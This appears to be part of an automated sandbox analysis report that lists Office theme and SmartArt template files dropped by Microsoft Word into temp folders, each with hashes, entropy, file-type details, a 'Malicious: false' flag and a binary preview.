Preview:	PK.........]w>....<...5.......diagrams/layout1.xmlz........].r.F.}......1w`.J..'.......w..Dn. d....~........pw...O.......s...?...p7.t>e.r<.]u.e..d..\|8..\uo.......K...._.Y..E6.\|..y;........y.*/:o./...:[.o.+/.....?.....Z.?..s..d}...S.`...b.^o9.e.ty9_d...y>M.....7...e....."....<.v.u...e:].N.t....a....0..}..bQ.Y..>.~..~...U.\|..Ev.....N...bw....{...O..Y.Y.&........A.8Ik...N.Z.P.[}t........\|m...E..v..,..6........_?..."..K<.=x....$..%@.e..%....$=F..G..e........<F..G51..;......=...e.e.q..d......A...&9'.N.\%.=N.Z.9.s......y.4.Q.c......\|8.......Eg.:.ky.z.h.......).O...mz...N.wy.m...yv....~8.?Lg..o.l.y:.....z.i..j.irxI.w...r.......\|.=....s};.\u.{t;i~S.......U7..mw...<.vO...M.o...W.U.....}.`V<\|..%....l..`>]..".].I.i.N..Z..~Lt.........}?..E~:..>$......x...%.........N....'C.m.=...w.=.Y...+'M.].2 >.]_~...'.?...:....z.O..Y......6..5...sj?.....).B..>.3...G...p.9.K!..[H..1$v../...E V..?`....+[...C......h..!.QI5....<.>...A.d.......

C:\Users\user\AppData\Local\Temp\TCD89F1.tmp\Banded.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD89F1.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.535736910133401
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeAlFkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyRGymD0wbnKNAH/lMz1
MD5:	487E25E610F3FC2EEA27AB54324EA8F6
SHA1:	11C2BB004C5E44503704E9FFEEFA7EA7C2A9305C
SHA-256:	022EC5077279A8E447B590F7260E1DBFF764DE5F9CDFD4FDEE32C94C66D4A1A2
SHA-512:	B8DF351E2C0EF101CF91DC02E136A3EE9C1FDB18294BECB13A29D676FBBE791A80A58A18FBDEB953BC21EC54EB7608154D401407C461ABD10ACB94CE8AD0E092
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.n.d.e.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD89F2.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5039994158393686
Encrypted:	false
SSDEEP:	6:fxnxUX4f+E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvGHmD0+dAH/luWvv
MD5:	16711B951E1130126E240A6E4CC2E382
SHA1:	8095AA79AEE029FD06428244CA2A6F28408448DB
SHA-256:	855342FE16234F72DA0C2765455B69CF412948CFBE70DE5F6D75A20ACDE29AE9
SHA-512:	454EAA0FD669489583C317699BE1CE5D706C31058B08CF2731A7621FDEFB6609C2F648E02A7A4B2B3A3DFA8406A696D1A6FA5063DDA684BDA4450A2E9FEFB0EF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.b.e.d.A.r.c...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD89F2.tmp\TabbedArc.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Local\Temp\TCD8A03.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	262
Entropy (8bit):	3.4901887319218092
Encrypted:	false
SSDEEP:	6:fxnxUXqhBMl0OoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyiMl0OoGHmD0+dAH/luWvv
MD5:	52BD0762F3DC77334807DDFC60D5F304
SHA1:	5962DA7C58F742046A116DDDA5DC8EA889C4CB0E
SHA-256:	30C20CC835E912A6DD89FD1BF5F7D92B233B2EC24594F1C1FE0CADB03A8C3FAB
SHA-512:	FB68B1CF9677A00D5651C51EC604B61DAC2D250D44A71D43CD69F41F16E4F0A7BAA7AD4A6F7BB870429297465A893013BBD7CC77A8F709AD6DB97F5A0927B1DD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .R.a.d.i.a.l.P.i.c.t.u.r.e.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8A03.tmp\RadialPictureList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Local\Temp\TCD8A14.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	264
Entropy (8bit):	3.4866056878458096
Encrypted:	false
SSDEEP:	6:fxnxUX0XrZUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXWloGHmD0+dAH/luWvv
MD5:	6C489D45F3B56845E68BE07EA804C698
SHA1:	C4C9012C0159770CB882870D4C92C307126CEC3F
SHA-256:	3FE447260CDCDEE287B8D01CF5F9F53738BFD6AAEC9FB9787F2826F8DEF1CA45
SHA-512:	D1355C48A09E7317773E4F1613C4613B7EA42D21F5A6692031D288D69D47B19E8F4D5A29AFD8B751B353FC7DE865EAE7CFE3F0BEC05F33DDF79526D64A29EB18
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8A14.tmp\ThemePictureAccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Local\Temp\TCD8A26.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	242
Entropy (8bit):	3.4938093034530917
Encrypted:	false
SSDEEP:	6:fxnxUX44lWWoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvToGHmD0+dAH/luWvv
MD5:	A6B2731ECC78E7CED9ED5408AB4F2931
SHA1:	BA15D036D522978409846EA682A1D7778381266F
SHA-256:	6A2F9E46087B1F0ED0E847AF05C4D4CC9F246989794993E8F3E15B633EFDD744
SHA-512:	666926612E83A7B4F6259C3FFEC3185ED3F07BDC88D43796A24C3C9F980516EB231BDEA4DC4CC05C6D7714BA12AE2DCC764CD07605118698809DEF12A71F1FDD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8A26.tmp\TabList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Local\Temp\TCD8A27.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	238
Entropy (8bit):	3.472155835869843
Encrypted:	false
SSDEEP:	6:fxnxUXGE2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny4GHmD0+dAH/luWvv
MD5:	2240CF2315F2EB448CEA6E9CE21B5AC5
SHA1:	46332668E2169E86760CBD975FF6FA9DB5274F43
SHA-256:	0F7D0BD5A8CED523CFF4F99D7854C0EE007F5793FA9E1BA1CD933B0894BFBD0D
SHA-512:	10BA73FF861112590BF135F4B337346F9D4ACEB10798E15DC5976671E345BC29AC8527C6052FEC86AA7058E06D1E49052E49D7BCF24A01DB259B5902DB091182
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .r.i.n.g.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8A27.tmp\rings.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Local\Temp\TCD8A39.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	258
Entropy (8bit):	3.4692172273306268
Encrypted:	false
SSDEEP:	6:fxnxUXcq9DsoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnysmYoGHmD0+dAH/luWvv
MD5:	C1B36A0547FB75445957A619201143AC
SHA1:	CDB0A18152F57653F1A707D39F3D7FB504E244A7
SHA-256:	4DFF7D1CEF6DD85CC73E1554D705FA6586A1FBD10E4A73EEE44EAABA2D2FFED9
SHA-512:	0923FB41A6DB96C85B44186E861D34C26595E37F30A6F8E554BD3053B99F237D9AC893D47E8B1E9CF36556E86EFF5BE33C015CBBDD31269CDAA68D6947C47F3F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .p.i.c.t.u.r.e.o.r.g.c.h.a.r.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8A39.tmp\pictureorgchart.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Local\Temp\TCD8A4B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.4895685222798054
Encrypted:	false
SSDEEP:	6:fxnxUX4cPBl4xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyPl4xoGHmD0+dAH/luWvv
MD5:	63E8B0621B5DEFE1EF17F02EFBFC2436
SHA1:	2D02AD4FD9BF89F453683B7D2B3557BC1EEEE953
SHA-256:	9243D99795DCDAD26FA857CB2740E58E3ED581E3FAEF0CB3781CBCD25FB4EE06
SHA-512:	A27CDA84DF5AD906C9A60152F166E7BD517266CAA447195E6435997280104CBF83037F7B05AE9D4617323895DCA471117D8C150E32A3855156CB156E15FA5864
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.r.y.i.n.g.W.i.d.t.h.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD8A4B.tmp\VaryingWidthList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Local\Temp\TCD8A5B.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.48087342759872
Encrypted:	false
SSDEEP:	6:fxnxUXXt1MIae2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyfMIaRGHmD0+dAH/luWvv
MD5:	69757AF3677EA8D80A2FBE44DEE7B9E4
SHA1:	26AF5881B48F0CB81F194D1D96E3658F8763467C
SHA-256:	0F14CA656CDD95CAB385F9B722580DDE2F46F8622E17A63F4534072D86DF97C3
SHA-512:	BDA862300BAFC407D662872F0BFB5A7F2F72FE1B7341C1439A22A70098FA50C81D450144E757087778396496777410ADCE4B11B655455BEDC3D128B80CFB472A
Malicious:	false
